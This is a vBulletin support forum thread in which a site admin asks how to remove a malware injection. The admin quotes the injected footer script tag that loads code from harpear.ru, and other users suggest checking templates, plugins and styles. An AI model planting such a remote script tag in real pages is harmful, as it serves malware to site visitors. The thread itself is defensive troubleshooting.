Announcement

Collapse
No announcement yet.

Iframe " harpear.ru " Footer Problem

Collapse
X
  • Filter
  • Time
  • Show
Clear All
new posts

  • Ghoghnuse
    started a topic Iframe " harpear.ru " Footer Problem

    Iframe " harpear.ru " Footer Problem

    Hello

    Yesterday everybody who open forum get a Malvare Alarm ...

    Click image for larger version

Name:	Virus.jpg
Views:	1
Size:	22.5 KB
ID:	3717914

    I checked index and find this code on footer :

    Code:
    <script src="http://harpear.ru:8080/blogfa-com/google.com/archive.org.php" defer="">
    
    </script>
    I try this solutions :

    1 : change all password immediately ( ftp + Cpanel )
    2 : Reinstall Vbulletin and overwrite clean files and upload clean .htaccess file

    But problem still remain .

    and then ; i try to find .php files in shared folders ... bud i couldn't find any files .

    Try this hack ... this hack show footer template change but i didn't find any iframe in footer templates ... and after run ; problem still remain .

    finally i disabled all of my plugins in admincp ...

    Strange case !! Problem in half of my styles solve but in other styles remain ...

    Now , i disable infected stiles and with other style i haven't any malvare message and forum seems work normal

    But i want to ask ; what can i do to find invisible code in footer ?

    Any solution or tips to find hidden script ?

    Many thanks

  • Ghoghnuse
    replied
    Originally posted by KW802 View Post
    If you're 100% certain that you have all clean copies of the various vB php files and you're 100% certain it is not coming from add-on/hack you have installed, then it is coming from either a plugin or a modified template. Is it showing up on every page? If so, start by looking at your 'footer' template to see if any modifications are in there that you don't recognize. The text may be obfuscated so you can't find it easily. If it is only appearing on some pages (eg: forum home) then check those individual templates.

    When you browse your styles in Style Manager, take a look to see which ones show up in the listing in a different color indicating that they have been modified.
    Thank !

    I and find a clue ...

    All .JS files are Change about +2 Kb ... only Styles without script in footer are clean .

    But in .js source code i couldn't find ant iframe ... only long code add to this files ....

    I will try to overwrite all .js files with clean version ...

    Leave a comment:


  • KW802
    replied
    Originally posted by Ghoghnuse View Post
    No ... only vbulletin main files overwrited . I haven't ant clean version of my styles ... but i search templates for script code and couldn't find anything ...
    If you're 100% certain that you have all clean copies of the various vB php files and you're 100% certain it is not coming from add-on/hack you have installed, then it is coming from either a plugin or a modified template. Is it showing up on every page? If so, start by looking at your 'footer' template to see if any modifications are in there that you don't recognize. The text may be obfuscated so you can't find it easily. If it is only appearing on some pages (eg: forum home) then check those individual templates.

    When you browse your styles in Style Manager, take a look to see which ones show up in the listing in a different color indicating that they have been modified.

    Leave a comment:


  • Ghoghnuse
    replied
    When you say that you re-installed vBulletin, does that include a clean copy of your style templates? Do a search in your Style Manager for the text to see if anything shows up.

    No ... only vbulletin main files overwrited . I haven't ant clean version of my styles ... but i search templates for script code and couldn't find anything ...

    Leave a comment:


  • KW802
    replied
    When you say that you re-installed vBulletin, does that include a clean copy of your style templates? Do a search in your Style Manager for the text to see if anything shows up.

    Leave a comment:

Related Topics

Collapse

Working...
X